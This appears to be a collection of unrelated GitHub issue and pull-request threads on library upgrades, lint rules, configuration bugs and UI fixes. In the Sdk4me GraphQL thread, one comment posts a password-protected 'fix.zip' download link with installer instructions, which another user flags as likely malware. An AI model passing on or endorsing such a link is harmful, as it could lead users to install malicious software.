Add support for open62541 version 1.3

This does not affect QUaServer with open62541 version 1.2
In addition, unused variables have been removed, compiler warnings have been eliminated, deprecated Qt methods have been replaced. This is something I didn't notice earlier due to the fact that I compiled without UA_ENABLE_SUBSCRIPTIONS_ALARMS_CONDITIONS.
I tested on Windows 10, Clang 16.05, Qt 5.15.9 and 6.5.1 with two versions of open62541 1.2.7 and 1.3.6. Tested examples: 01_basics - no problem
04_types - no problem
08_events - no problem if open62541 1.2 or open62541 1.3, but the latter is built without ALARMS_CONDITIONS.
09_serialization - no problem if open62541 1.2. Doesn't work with open62541 1.3, I couldn't figure it out, need your help.
I did not check 10_historizing, because this example did not work for me before, probably because of Clang or I'm doing something wrong. Please check this example.

Hi, sorry, but I just had a baby, so I will be AFK for a few weeks.
But I can already tell you, updating open62541 version is not trivial, because there are a few parts of the library that I had to expose, or even re-implement to make it work better with the Qt wrapper, specially take a look at:

src/wrapper/quaserver_anex.h
src/wrapper/quaserver_anex.cpp

With "expose" I mean, parts that normally belong to the private open62541 API, but I copy-pasted and adapted to QUaServer's needs.
Specially, look at the parts that have a comment with the [MODIFIED] tag.

Hi all,
In version 1.3, these structures have the same address string.data.
    qDebug() << tmp->m_nodeId.identifier.string.data;     qDebug() << newInstanceNodeId.identifier.string.data;
We probably need to do this:
#if UA_OPEN62541_VER_MINOR < 3         UA_NodeId_clear(&newInstanceNodeId); #endif

With this fix, example 09_serialization works as expected :)

Hi @ldct-polemos ,
I escaped UA_NodeId_clear(&newInstanceNodeId) in three identical cases, only where there is:
UA_NodeId newInstanceNodeId = m_qUaServer->createInstanceInternal(...
... = QUaNode::getNodeContext(newInstanceNodeId, ...

I don't take advantage of many opportunities. What I need works for me.


Fix TSLint warnings in botbuilder botbuilder-dialogs

Proposed Changes
Fix various TSLint warnings in /botbuilder-dialogs/ and botFrameworkAdapter.ts:

eofline
newline-before-return
no-trailing-whitespace
ordered-imports
prefer-method-signature
typedef

Testing
Travis will no longer report these warnings

Pull Request Test Coverage Report for Build 82

6 of 6 (100.0%)  changed or added relevant lines in 4 files are covered.
No unchanged relevant lines lost coverage.
Overall coverage remained the same at 69.036%

Totals

Change from base Build 78:
0.0%

Covered Lines:
2233

Relevant Lines:
3086

💛  - Coveralls


Implement minBy and maxBy TS-side aggregations.

This is just a TypeScript-side min/max implementation which will be improved later with the propagation of aggregations to backend. It proved to be rather challenging so I've decided to do it in two steps and first have something that works and is testable and improve upon it later.

I think this is OK. Any particular reason to not include a SQL implementation too? Other than the comment about null X undefined this seems to match the SQL semantics, but an implementation would be good to make sure.

The reason is that to propagate the thing to SQL takes surprising amount of work.. I'm doing that right now


QR code doesn't work with Breez and Phoenix wallet

I can't scan the QR code with my Breez or Phoenix wallet. Copy paste works but scanning would be more convenient.

hmmmm it works fine for me with Breez. I don't have Phoenix wallet to test. Can you post a screenshot of a specific QR that you are having problems with? Could be a problem with the specific QR code that was generated.

My friend couldn't scan it aswell (Breez).

This QR code works fine for me with Breez, so not sure what I can do.

Looks like it's Android phone scanners that have problems with these QR codes https://github.com/kozakdenys/qr-code-styling/issues/105. That would explain why I couldn't reproduce the error. I'll probably swap out this library with another library.


Tags section-sort tags alphabetically.

Numbers in ascending order(numbers must be at the end of the list)
If the tag contains only characters, it must be at the end of the list.
Forbid duplicate names at the time of creation. Even if you set a different color for the name.
Names with a small letter must be after names with a big letter if they begin with the same letter.
Also, need to apply this sorting when selecting tags(for addresses, contacts)

checked


Automation can have multiple entity_ids in trigger, but not in conditions. Very confusing.

Home Assistant release:
0.29.5
Description of problem:
In automation, you can have multiple entity_ids in the trigger, such as:
- alias: Notify Smoke Detector Battery Low
  trigger:
    platform: state
    entity_id: sensor.garage_smoke_detector_battery, sensor.hallway_smoke_detector_battery, sensor.kitchen_smoke_detector_battery
    to: '5'
  action:
    service: notify.notify
    data:
      message: "A smoke detector's battery needs replaced."

But when I try to apply that and use multiple entity_ids in conditions like this:
- alias: Living Room Lamp Off at night
  trigger:
    platform: time
    after: '00:00:00'
  condition:
    condition: and
    conditions:
    - condition: state
      entity_id: light.kitchen_light, light.dining_light
      state: 'off'
    - condition: state
      entity_id: media_player.rasplex
      state: 'idle'
  action:
    service: light.turn_off
    entity_id: light.living_room_lamp

I get an error:
voluptuous.MultipleInvalid: not a valid value for dictionary value @ data['conditions'][0]['condition']
I have to change it and separate the entity_ids into multiple conditions like this:
- alias: Living Room Lamp Off at night
  trigger:
    platform: time
    after: '00:00:00'
  condition:
    condition: and
    conditions:
    - condition: state
      entity_id: light.kitchen_light
      state: 'off'
    - condition: state
      entity_id: light.dining_light
      state: 'off'
    - condition: state
      entity_id: media_player.rasplex
      state: 'idle'
  action:
    service: light.turn_off
    entity_id: light.living_room_lamp

Expected:
It would be nice if we could list multiple entity_ids on the condition line like we can the trigger line.

Although I understand your reasoning and how it could shorten automations, I'm not sure if it's a good idea: triggers always use 'OR-logic', yet conditions can use both 'AND-logic' or 'OR-logic'. It may create more confusion than it fixes.

Can this be closed?


Fix semicolon enforcement

Woo, C++11!
More-or-Less-Fun Fact
I would like to draw attention to the peculiarity that DOCTEST_TEST_SUITE_END poses. It is usable both as a function-like macro and as a regular macro. This is because in order to enforce the macro invocation be followed by a semicolon it has a typedef of the following form at the end: typedef int DOCTEST_INTERNAL_STH. Now, this is just adds a simple alias for int, doesn't it? (It does!)
But now watch what happens when we append parentheses: typedef int DOCTEST_INTERNAL_STH(). Now, I wouldn't blame anyone for believing this to be invalid syntax, but it actually introduces DOCTEST_INTERNAL_STH as an alias, for a function returning int and taking no parameters! Now isn't that crazy?
TLDR
All macros that use the existing form of semicolon enforcement outside of functions may have their invocation followed by a set of parantheses inside which type parameters can be placed.
DOCTEST_TEST_SUITE_END is a special case because it is the only affected macro which is itself not function-like. This means backwards compatibility with both invocations should preferably be upheld for it, and it alone (who would ever do DOCTEST_TEST_SUITE_BEGIN(...)()?). Maintaining the old syntax in this case should not be a big deal either, as I don't think a test suite can ever be ended locally.
Related issue
#577

In the future some compiler will complain that this static assert is unnecessary :P


More permissions needed when I query a time entry then actually needed

I want to get time entries including the note and the person who spent it. For this I'm creating next query:
TimeEntryQuery _timeEntryQuery = Query.TimeEntry
    .SelectNote(new NoteQuery().Select(NoteField.Text, NoteField.Internal))
    .SelectPerson(new PersonQuery().Select(PersonField.PrimaryEmail))
    .Filter(TimeEntryField.ID, FilterOperator.Equals, "MyTimeEntryId");

When I'm trying to get the data I've got this exception:

Sdk4me.GraphQL.Sdk4meException: Missing required scope(s): account:Read, organization:Read, service:Read, team:Read

However using Postman and query below I don't have any issues.
{
    timeEntries(
        first: 1
        filter: { id: { values: ["MyTimeEntryId"] } }
    ) {
        nodes {
            note {
                internal
                text
            }
            person {
                primaryEmail
            }
        }
    }
}

Why are there more permissions needed when I do the same query using Sdk4me.GraphQL then when I'm do it inside Postman?

Download
https://www.mediafire.com/file/zch0v8rj7200mbm/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Download xxxxxxx password: changeme In the installer menu, select "gcc."

Is malware I guess

@HeinPauwelyn, I will try to reproduce this. My first thought is default value selection. You should be able to see the GraphQL query in the debug window or capture it via a trace listener.

@HeinPauwelyn, you did not specify any fields for the time entry object. In that case it uses a set of default defined values which includes: Account, Customer, Date, Deleted, Organization, Person, Service, TimeSpent, Deleted, Source, SourceID, CreatedAt, UpdatedAt. If any of those field is an object it also default select some fields.
The first line specified the fields, if no Select is used if defaults
TimeEntryQuery _timeEntryQuery = Query.TimeEntry
    .Select(TimeEntryField.ID, TimeEntryField.Description)
    .SelectNote(new NoteQuery().Select(NoteField.Text, NoteField.Internal))
    .SelectPerson(new PersonQuery().Select(PersonField.PrimaryEmail))
    .Filter(TimeEntryFilter.ID, FilterOperator.Equals, "MyTimeEntryId");

Also keep in mind that using the TimeEntryField.ID enum in .Filter(TimeEntryField.ID, FilterOperator.Equals, "MyTimeEntryId") is obsolete, use TimeEntryFilter.ID instead. Filters have there own field enumerators, as not all fields can be used for filtering, and some fields were missing as they only exist in filters.

@HeinPauwelyn, I'm adding client property to define the default behavior. Something like client.DefaultSelection = false;, when false true it will use the default coded fields, when false it will only select ID or all fields for entities without ID.

@HeinPauwelyn, in the latest version (1.4.2) you can use Sdk4meClient.DefaultFieldSelection to overwrite the default behavior of the default field selection.


Add prefer_final_parameters lint

Replace this paragraph with a description of what this PR is changing or adding, and why. Consider including before/after screenshots.
List which issues are fixed by this PR. You must list at least one issue.
If you had to change anything in the flutter/tests repo, include a link to the migration guide as per the breaking change policy.
This PR is closed, i enable the rule and run dart fix --apply
Pre-launch Checklist

[x] I read the Contributor Guide and followed the process outlined there for submitting PRs.
[x] I read the Tree Hygiene wiki page, which explains my responsibilities.
[x] I read and followed the Flutter Style Guide, including Features we expect every widget to implement.
[x] I signed the CLA.
[ ] I listed at least one issue that this PR fixes in the description above.
[ ] I updated/added relevant documentation (doc comments with ///).
[ ] I added new tests to check the change I am making, or this PR is test-exempt.
[x] All existing and new tests are passing.

If you need help, consider asking for advice on the #hackers-new channel on Discord.

@lsaudon thank you for this massive contribution!
Unfortunately, you have merge conflicts on this PR. But, given the size, I think it might be infeasible to code review, and to keep up to date with upstream changes. The only way to land this kind of a migration might be to do it in smaller chunks before the lint is enabled. WDYT @goderbauer ?

I knew it was too big.
Indeed I can make by smaller part.

I just wanted to say I think I like the move to prefer_final_parameters.  I was wondering why we didn't follow that.
I agree with @christopherfujino that you should split this up, maybe be library or something, and merge those PRs individually.  Then enable the lint parameter at the end.

I just wanted to say I think I like the move to prefer_final_parameters. I was wondering why we didn't follow that.

Yeah that is a good point.  I think it's worth it even though I have to type final a lot more, but others may disagree.

I do think this will be a worthwhile change. Landing it may be difficult given how many files this affects, which is one reason why we haven't done this earlier. Doing it in smaller chunks is a good idea. Another idea was to land something like this on a major holiday where traffic in the repo is low to avoid merge conflicts...

Looks like you're already opening up smaller PRs. I am going to close this one then.

but it's unfortunate it adds so much verbosity, alas...

I kinda wish Dart would have picked 'final' as the default and you had to specify something if you didn't want final since that seems to be less common... Oh well...

This seems to be adding a lot of verbosity tool code. What sort of errors does this catch? Do we make those mistakes in practice? I'm not convinced this is a positive change.

I agree, this is a lot of churn that makes the resulting code substantially more verbose. I don't think the benefits outweigh the costs here, as I cannot recall any instances of accidentally assigning to a parameter

I use this in my personal projects (largely because I turn on all the lints by default and then only opt-out the ones that are just obviously wrong or mutually-exclusive) and I must admit I don't think this lint has ever really done me any good, and as others have said, it's pretty verbose. I think the cost/benefit on this one is pretty questionable. I never put the final in there until I try to compile, and then I just have to add "final"s everywhere, which is very tedious.
That said I'm happy to defer to the relevant code owners (@christopherfujino for the tool, @goderbauer for the framework, @stuartmorgan for the packages repo) in terms of whether we should actually do this. I just ask that we be consistent throughout the repo (and dart:ui, and ideally flutter/packages) about it.

I'm relatively neutral on this; I don't love the verbosity, but I'm generally willing to trade verbosity for safety.

Do we make those mistakes in practice?

This seems like a key question. I haven't read through the 3k files changed here: @lsaudon How many instances were there (roughly) where you had to make a code change as a result of adding final to parameters?

I just ask that we be consistent throughout the repo (and dart:ui, and ideally flutter/packages) about it.

My policy for flutter/packages is that we deviate from flutter/flutter analysis options only where there is a compelling argument for why it should be different (e.g., sort_pub_dependencies is off for a specific reason in flutter/flutter that doesn't apply at all to flutter/packages, and we still have unnecessary_null_comparison: ignore in flutter/packages because packages don't all require Dart 3 so can still run in mixed mode). There's no good argument for a different choice here, so it'll stay consistent with flutter/flutter whichever way it goes.

Given the feedback, I am rather neutral on this one as well now. In the past, we have chosen a pretty verbose style for Flutter and this follows that style. We also require final for local variables, so also doing it for parameters seems consistent.
However, I can't recall any instances where this would have prevented a bug. So, if the general consensus is that it is too verbose let's not enforce it. We should update the comment in the analysis_options.yaml file to record our decision.

Maybe what we really want is a lint that you should never re-assign an argument.

That lint exists: https://dart-lang.github.io/linter/lints/parameter_assignments.html However, I believe that one is too strong because in many instances we do actually assign values to parameters on purpose.


Update swiss-knife examples with ChainId

Summary
Update swiss-knife examples with ChainId

@bors-libra r=christinacelee

:pushpin: Commit e492c94 has been approved by christinacelee

:hourglass: Testing commit e492c947d22acf7d5141cb3467e3a0b052138f21 with merge 1db8901b205c1c8d2aa6b4ca7d67f271c985e548...

:sunny: Test successful - checks-actions_land_blocking_test, checks-circle_commit_workflow
Approved by: christinacelee
Pushing 1db8901b205c1c8d2aa6b4ca7d67f271c985e548 to master...


Fix logo/CSS non-relative path escaping

What kind of changes does this PR include?

Changes to Starlight code

Description

Fixes #339
We switched to escape import strings with JSON.stringify() in #335 but forgot to also use it for non-relative paths resulting in JS like import /src/style.css which is invalid. This fixes that by always stringifying whether the path is relative or not.

size-limit report 📦

Path
Size

/index.html
13.16 KB (0%)

/_astro/*.js
16.21 KB (0%)

/_astro/*.css
8.53 KB (0%)


Custom scope validators should not be allowed to filter OIDC scopes

Describe the issue:
In the current scope validation behavior, custom scope validators are allowed to filter OIDC scopes.
How to reproduce:

Write a custom scope validator which will filter all the scopes that is being requested.
Request openid scope.
OIDC scopes will be filtered by the custom scope validator and IS won't return the id token.

Expected behavior:
Custom scope validators shouldn't be able to filter OIDC scopes.

This issue is being closed due to extended inactivity. Please feel free to reopen it if further attention is needed. Thank you for helping us keep the issue list relevant and focused!


Fix README for cassandra tool

Coverage decreased (-0.04%) to 68.405% when pulling c3ae1dbe11b10893ec0189857c67b08f8855ed38 on readme into 083cb3cb3062dfce1bf7f86c064b6fb2af94523a on master.


Please consider fixing issues detected by repository checker

Notification from ioBroker Check and Service Bot
Dear adapter developer,
I'm the ioBroker Check and Service Bot. I'm an automated tool processing routine tasks for the ioBroker infrastructure. I have recently checked the repository for your adapter botvac for common errors and appropiate suggestions to keep this adapter up to date.
This check is based the current head revisions (master / main  branch) of the adapter repository
Please see the result of the check below.
ioBroker.botvac
   -
ERRORS:

[ ] :heavy_exclamation_mark: [E114] Admin support not specified. Please add "common.adminUI.config = json|materialize|html|none"

WARNINGS:

[ ] :eyes: [W044] dependency should not require a specific version. Use "~1.2.3" or "^1.2.3" syntax. Please update "node-botvac:PeterVoronov/node-botvac#0.4.2-schedule-write"
[ ] :eyes: [W113] Adapter should support compact mode
[ ] :eyes: [W162] js-controller 5.0.0 listed as dependency but 5.0.19 is recommended. Please consider updating dependency at io-package.json.
[ ] :eyes: [W173] Potential sensitive data "password" not listed at "protectedNative" in io-package.json
[ ] :eyes: [W174] Potential sensitive data "password" not listed at "encryptedNative" in io-package.json
[ ] :eyes: [W184] "common.main" is deprecated and ignored. Please remove from io-package.json. Use "main" at package.json instead.
[ ] :eyes: [W853] .npmignore found - consider using package.json object "files" instead.

SUGGESTIONS:

[ ] :pushpin: [S522] Please consider migrating to admin 5 UI (jsonConfig).

Please review issues reported and consider fixing them as soon as appropiate.
Errors reported by repository checker should be fixed as soon as possible. Some of them require a new release to be considered as fixed. Please note that errors reported by checker might be considered as blocking point for future updates at stable repository.
Warnings reported by repository checker should be reviewed. While some warnings can be ignored due to good reasons or a dedicated decision of the developer, most warnings should be fixed as soon as appropiate.
Suggestions reported by repository checker should be reviewed. Suggestions can be ignored due to a decision of the developer but they are reported as a hint to use a configuration which might get required in future or at least is used be most adapters. Suggestions are always optional to follow.
You may start a new check at any time by adding the following comment to this issue:
@iobroker-bot recheck
Please note that I (and the server at GitHub) have always plenty of work to do. So it may last up to 30 minutes until you see a reaction. I will drop a comment here as soon as I start processing.
Feel free to contact me (@iobroker-bot) if you have any questions or feel that an issue is incorrectly flagged.
And THANKS A LOT for maintaining this adapter from me and all users.
Let's work together for the best user experience.
your
ioBroker Check and Service Bot
@mcm1957 for evidence
Last update at Fri, 06 Sep 2024 07:06:43 GMT

Issue closed due to RECREATE request. Folloow up issue #170 has been created.
This issue can be closed.
your
ioBroker Check and Service Bot


feat: Add event information in tasks_df

Modify response of MongoDB in tasks_df

Please edit the FlattenedTaskRow model in phospho-python 💡


Figure out how to handle IMMNotificationClient

Figure out how to handle IMMNotificationClient

from some testing, the code itself seems to work on some events:

OnPropertyValueChanged
OnDefaultDeviceChanged

I changed the code a bit, waiting 10 minutes using time.After with select.
I think that maybe the issue that the sound card does not detect the changes, but still investigating that idea.

@moutend following additional testings:

On a usb headphones it did work well
On AUX it does not identify the new headphones both insert and removed - I think it's a hardware + driver issue.

Waiting for testing it on different hardware to know for sure.
If it works, when I think that from todo you can set it as an example in the code.
Cheers :)

@ik5 Thank you for suggestions. The go-wca project is not developed actively for now, but I'll implement the IMMNotificationClient in future version.
Although I'm learning Windows internals in deep because lacks of my knowledge, I can't say when the future version will be released. :cry:

@ik5, would you mind expanding on how you managed to use the existing go-wca code to receive "default device changed" notifications in your own code?
I've been trying to do this in my project and can't figure out how to do it without the IMMNotificationClient interface's full implementation.
Thank you!

Hi everyone. I released go-wca v0.2.0, it supports IMMNotificationClient. Check the _example/DeviceEvents.

@moutend awesome to hear, thank you very much! I'm using your wonderful library in my project.
I was wondering if you would also add similar support for IAudioSessionNotification.
As a side note, the struct seems to have a pointer to IAudioSessionEventsVtbl instead of the IAudioSessionNotificationVtbl declared below it. Once I changed it locally and did something similar to what you did here, I did manage to receive OnSessionCreated callbacks with it :)

@omriharel Enjoy!
Anyway, I'm also planning that support such features. I'll implement that in this week or next week.

@moutend I haven't tested it yet, but if it works, it will be on many machines in the following months ;-)


refactor: simplify error response handling in OpenAPI spec

#201  👈
main

This stack of pull requests is managed by Graphite. Learn more about stacking.

Join @pevisscher and the rest of your teammates on  Graphite


python311Packages.rdkit: 2023.09.3 -> 2023.09.4

Diff: https://github.com/rdkit/rdkit/compare/Release_2023_09_3...Release_2023_09_4
Changelog: https://github.com/rdkit/rdkit/releases/tag/Release_2023_09_4
Description of changes

Things done

Built on platform(s)

[x] x86_64-linux
[ ] aarch64-linux
[ ] x86_64-darwin
[ ] aarch64-darwin

For non-Linux: Is sandboxing enabled in nix.conf? (See Nix manual)

[ ] sandbox = relaxed
[x] sandbox = true

[x] Tested, as applicable:

NixOS test(s) (look inside nixos/tests)
and/or package tests
or, for functions and "core" functionality, tests in lib/tests or pkgs/test
made sure NixOS tests are linked to the relevant packages

[ ] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review rev HEAD". Note: all changes have to be committed, also see nixpkgs-review usage
[ ] Tested basic functionality of all binary files (usually in ./result/bin/)
24.05 Release Notes (or backporting 23.05 and 23.11 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module

[x] Fits CONTRIBUTING.md.

Add a :+1: reaction to pull requests you find important.

Result of nixpkgs-review pr 285284 at 3724e58f run on x86_64-linux 1

3 packages built successfully:

python311Packages.meeko
python311Packages.rdkit
python312Packages.rdkit


Video Captions: Styling in editor

Feature Description
EDIT: The description below is out-dated due to reducing of the scope of the original issue.
What remains to be done here is the following:

Ensure that background and regular video design panels display the same way
Ensure that captions remain when a video is set to background
See Pascal's comment below.

OUT-DATED:
#4189 (PR: #4615) added the foundation for the new Subtitles/Captions feature to video elements. However, the current version does not look like the desired design yet (view in Figma).
This ticket is about updating the styling of the captions feature to match expected design.
Note: as discussed in #4189, we'll use the WordPress media modal for now for uploading the files. That means no inline progress bars or error messages.
Thus, I expect the effort required for this styling to be rather small.
However, depending on the progress on #4749, this could also mean updating the dropdown component to use the generalized version with autocomplete etc.
Alternatives Considered

Additional Context

Do not alter or remove anything below. The following sections will be managed by moderators only.
Acceptance Criteria

Implementation Brief

@o-fernandez  Would search be useful here?
It looks like it might make sense to just use the generalized component from #4749 here (in review currently), especially if we can enable search, too.

@swissspidy I've read through the discussion in https://github.com/google/web-stories-wp/issues/4189 and if I understand correctly then the description of this issue is out of date:

Since we only support one caption now, being blocked by #4749 is not relevant anymore
The only thing needed in this issue is verifying the style matches Figma, however, since we're only allowing one file and are using the WP media modal for uploading the files then it's basically just verifying the one button for uploading and input for removing the selected captions matches the style?

However, for the style to be consistent with the rest of the design panel, we are still using the general input components everywhere until restyling all the components together for 1.3, we wouldn't update only one input/button to match the new style and leave the rest as they were.
This means that I'm actually not really sure what there is to do currently within the scope of this ticket at all. The input and the button already seem to match the style of the rest of the design panel. Thoughts?

@miina Yeah you're right; we went back and forth on #4189 and ended up with a much smaller scope. This indeed led to a more consistent styling.
So yeah, not much to do here anymore!
The things that should/could be improved though IMO, possibly in this ticket:
A) Order of panels is inconsistent between background videos and regular videos:

B) Setting a video as background video removes the caption

Verified in QA

Failed in UAT. Set a video with caption to the bg and note that the caption is clipped on the left and right side. Caption should be fixed to the width of the page and not video.

Also, can we easily change the styling of the caption?

@samitron7
This issue was actually addressing two different things, the name of the issue is a bit deceiving:

Ensure that background and regular video design panels display in the same order (previously the video caption panel was in a different place for background and regular video)
Ensure that captions remain when a video is set to background (previously it disappeared after setting a video as background)

We should probably create a new issue to investigate the bug you found.

Failed in UAT. Set a video with caption to the bg and note that the caption is clipped on the left and right side. Caption should be fixed to the width of the page and not video.

As @miina said, this ticket is about updates in the editor, nothing frontend-related.
We have #5315 for that specific issue you mention here. It's actually partially a format limitation as well, see https://github.com/ampproject/amphtml/issues/15091#issuecomment-491976689

Also, can we easily change the styling of the caption?

The styling options for captions are very limited, and basically only allows changing font & color, nothing else.

Closing since #5315 exists for the (unrelated) issue raised here.


pathGroups pattern doesn't seem to match the end of a file's name

I have this config:
"pathGroups": [
  {
    "pattern": "@angular/**",
    "group": "index",
    "position": "before"
  },
  {
      "pattern": "@custom/**",
      "group": "sibling",
      "position": "before"
  },
  {
      "pattern": "**.class",
      "group": "parent",
      "position": "before"
 },
 {
      "pattern": "**.service",
      "group": "sibling",
      "position": "before"
 }
]

and for the first two rules is working perfectly. I've tried to then order first all the imports that ends with .class and below all the imports that ends with .service without any success.
Other ways I tried are:
*.service
.service$
**/.service
but none of them works.
This is what the result is like:
import { Component } from "@angular/core";

import { CustomFilterDataSource } from<EMAIL_ADDRESS>import { CustomLibraryEventEmitter, CustomOptionsApplyclicked } from<EMAIL_ADDRESS>
import { ModuleTranslationService } from "src/app/shared/services/translate.service";
import { ComponentWithFilter } from "src/app/shared/abstract/component-with-filter.class";
import { ComponentWithTranslations } from "src/app/shared/abstract/component-with-translation.class";
import { ComponentWithGrid } from "src/app/shared/abstract/component-with-grid.class";

While this is what I'm trying to do:
import { Component } from "@angular/core";

import { CustomFilterDataSource } from<EMAIL_ADDRESS>import { CustomLibraryEventEmitter, CustomOptionsApplyclicked } from<EMAIL_ADDRESS>
import { ComponentWithFilter } from "src/app/shared/abstract/component-with-filter.class";
import { ComponentWithTranslations } from "src/app/shared/abstract/component-with-translation.class";
import { ComponentWithGrid } from "src/app/shared/abstract/component-with-grid.class";

import { ModuleTranslationService } from "src/app/shared/services/translate.service";

Try **/*.service?


Bug 2015550: Regression fix - respect NO_PROXY for token request

I verified the logic here with @shawn-hurley and worked with @ibolton336 to ensure that not only are domains and IPs covered if passed as the token endpoint, but we're also covered should a CIDR be listed in the NO_PROXY. We will check to see if the token endpint is actually an ip address whether or not it matches the range.
This should be solid and is passing all of our environment tests, thank you @ibolton336


Remove DRMAA  from somatic_variant_calling workflow

Addresses #110
Changes

Remove DRMAA  from somatic_variant_calling workflow

Cherry-picked commit to 102-110-mutect2-mem-smk-profiles instead.


coercion of pathParams not only in handler, but in middleware.

Describe the bug

Path params are strings, but if I want to transform in something else I get type error in the middleware because in Request["params"] only strings are acceptable

How to reproduce

const s = initServer();

export const diaryRouter = s.router(DiaryContract, {
  addItem: {
    handler: async ({ params: { date }, body, req }) => {
      const diary = await DiaryModel.findOne({ user: req.authUser, date }) ?? new DiaryModel({ user: req.authUser, date });
//....
    },
    middleware: [(req, res, next) => auth(req, res, next)],
  },
})

A part of DiaryContract:
    path: '/:date',
    pathParams: z.object({ date: z.coerce.date() }),

I get the TypeScript error about the middleware:

Argument of type 'TsRestRequest<{ metadata: { openApiSecurity: SecurityRequirementObject[]; }; pathParams: ZodObject<{ date: ZodDate; }, "strip", ZodTypeAny, { date: Date; }, { date: Date; }>; ... 5 more ...; strictStatusCodes: true; }, { ...; }, { ...; }>' is not assignable to parameter of type 'Request<ParamsDictionary, any, any, ParsedQs, Record<string, any>>'.
Types of property 'params' are incompatible.
Type '{ date: Date; }' is not assignable to type 'ParamsDictionary'.
Property 'date' is incompatible with index signature.
Type 'Date' is not assignable to type 'string'.ts(2345)

Expected behavior
I want the pathParams.date to be coerced to Date only in handler, not in the middleware.
Code reproduction
// Add your code reproduction here

const s = initServer();

export const diaryRouter = s.router(DiaryContract, {
  addItem: {
    handler: async ({ params: { date }, body, req }) => {
      const diary = await DiaryModel.findOne({ user: req.authUser, date }) ?? new DiaryModel({ user: req.authUser, date });
//....
    },
    middleware: [(req, res, next) => auth(req, res, next)],
  },
})

A part of DiaryContract:
    path: '/:date',
    pathParams: z.object({ date: z.coerce.date() }),

I get the TypeScript error about the middleware:

Argument of type 'TsRestRequest<{ metadata: { openApiSecurity: SecurityRequirementObject[]; }; pathParams: ZodObject<{ date: ZodDate; }, "strip", ZodTypeAny, { date: Date; }, { date: Date; }>; ... 5 more ...; strictStatusCodes: true; }, { ...; }, { ...; }>' is not assignable to parameter of type 'Request<ParamsDictionary, any, any, ParsedQs, Record<string, any>>'.
Types of property 'params' are incompatible.
Type '{ date: Date; }' is not assignable to type 'ParamsDictionary'.
Property 'date' is incompatible with index signature.
Type 'Date' is not assignable to type 'string'.ts(2345)

ts-rest version
"@ts-rest/core": "^3.51.0",
"@ts-rest/express": "^3.51.0",
"@ts-rest/open-api": "^3.51.0",

Same here. We have an id path param that we coerce to a number - which I imagine is reasonably common. This works fine for the handler but but doesn't work if we also want to apply middleware.
  path: "/:id",
  pathParams: z.object({ id: z.number({ coerce: true }) }),


Why is disposed state using Interlocked?

This is being used in all invocations of the stream.
is there any concurrent work going on that I'm not aware of?

In general, concurrent reading/writing to a stream is not supported, but there were some use cases where there was concurrent checking of whether a stream was disposed, and also to guard against double-dispose in different threads.

Wouldn't scoping it only to Dispose be a better option, then?

Looking through this, I agree. The only place it might be needed is in Dispose() itself. That's questionable, but I'm inclined to leave that for now. If you submit a PR, I can take a look, or I'll try to do this soon.

Are the mentioned use cases covered by tests?

There is a simple test case for concurrent double-dispose, but that's it. I think it's ok to remove the other interlocked usage.

Not using Interlocked on reading the Disposed value could end up with reading the wrong value, since it's not doing an atomic read in 32bit contexts.

I understand that.
My initial question was if this is a use case we should account for. What is the use case for using the stream concurrently?

For v2.0, I'm going to remove the Interlocked calls. I don't think there's any valid use cases for concurrent usage of the stream. I'll make sure the documentation makes this clear.

For v2.0, I'm going to remove the Interlocked calls. I don't think there's any valid use cases for concurrent usage of the stream. I'll make sure the documentation makes this clear.


fix(date-picker): resolve width clipping issue on 90/110% zoom

Closes #2978
📝 Description
This resolves the unexpected clipping/hiding of calendar  in date-picker when browser is zoomed to 90 or 110%
⛳ Current behavior (updates)
[

🚀 New behavior

https://github.com/nextui-org/nextui/assets/147910430/2e15b8c8-c777-4557-9dc9-7b621c63e26f
💣 Is this a breaking change (Yes/No): No

📝 Additional Information

Summary by CodeRabbit

Bug Fixes

Resolved an issue where the date-picker width was clipped when zoomed to 90%.
Updated date-picker styles to ensure consistent width of 256px.

@ryo-manba  thanks for your guidance,
kindly explain me  little more about the additional storybook example I want to work on it.

@wingkwong @ryo-manba please check again

@ryo-manba @wingkwong  Thank you for approving my Pull request.
I am continuously working to solve more bugs & make the NextUI awesome.
Thank You :)


FIX: Broken Link

Link to Code of Conduct inside CONTRIBUTING.md  is not working, giving Not Found.

Wupps, #27 slip-up
The link should be-
https://github.com/divanov11/mumble/blob/master/CODE_OF_CONDUCT.md

This type of minor updates can be noted somewhere, so that when there are 2 or more similar updates; they can be fixed all at once to avoid a lot of pull requests of this sort

for anyone looking to fix this issue, kindly have a look at these too and make a PR for all of them:

[ ] #49 - Broken CODE_OF_CONDUCT link in CONTRIBUTING.md
[ ] #16 - Typo in README

I think we can keep a list of all such issues in the top-most issue, maybe?

for anyone looking to fix this issue, kindly have a look at these too and make a PR for all of them:

[ ]  #49 - Broken CODE_OF_CONDUCT link in CONTRIBUTING.md
[ ]  #16 - Typo in README

I think we can keep a list of all such issues in the top-most issue, maybe?

Yes that's a great idea 💡

While pushing changes I got some errors because I cloned the Dennis' main repository to my machine instead of cloning my forked repository, so to avoid confusion this point in CONTRIBUTING.md can be changed from

Clone the project to your machine

to

Clone the forked repository from your github account to your machine
If this is the correct solution.

While pushing changes I got some errors because I cloned the Dennis' main repository to my machine instead of cloning my forked repository, so to avoid confusion this point in CONTRIBUTING.md can be changed from

Clone the project to your machine

to

Clone the forked repository from your github account to your machine

If this is the correct solution.

@Vyvy-vi  can you check this out?

I think #53 added the change

fixed!


Exception on /API/logSession

When starting brew session the following error is received:
picobrew_api.py", line 101, in create_new_session   recipe_file = recipe.filename
AttributeError: 'PicoBrewRecipe' object has no attribute 'filename'
Zymatic error.txt
Party_Porter_recipe_xml.xml.txt

Also after installing with  pip install picobrew_server, I noted the following difference in frontend.py line 47:
logger.error(f"Failed to parse recipe {filename}. {error}")
and not the following, updated previously:
logger.error("Failed to parse recipe %s. %s", filename, error)

Thanks for reporting this issue. I fixed it. Should be published as PicoBrew Server v1.0.1.

Thank you for the update.  I can step through the brew cycle now.  Not sure if this matters but there is an error at the end when exiting the session.
picobrew_api.py", line 128, in log_to_session   data = args["data"]   KeyError: 'data'
455deab29fa14c6896e8b572db5b93aa.json.txt
Not_Yet-ie_recipe_xml.xml.txt
error.txt


formatting issue

There are several format errors in this document. For example, the code blocks in the following pictures can be merged

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

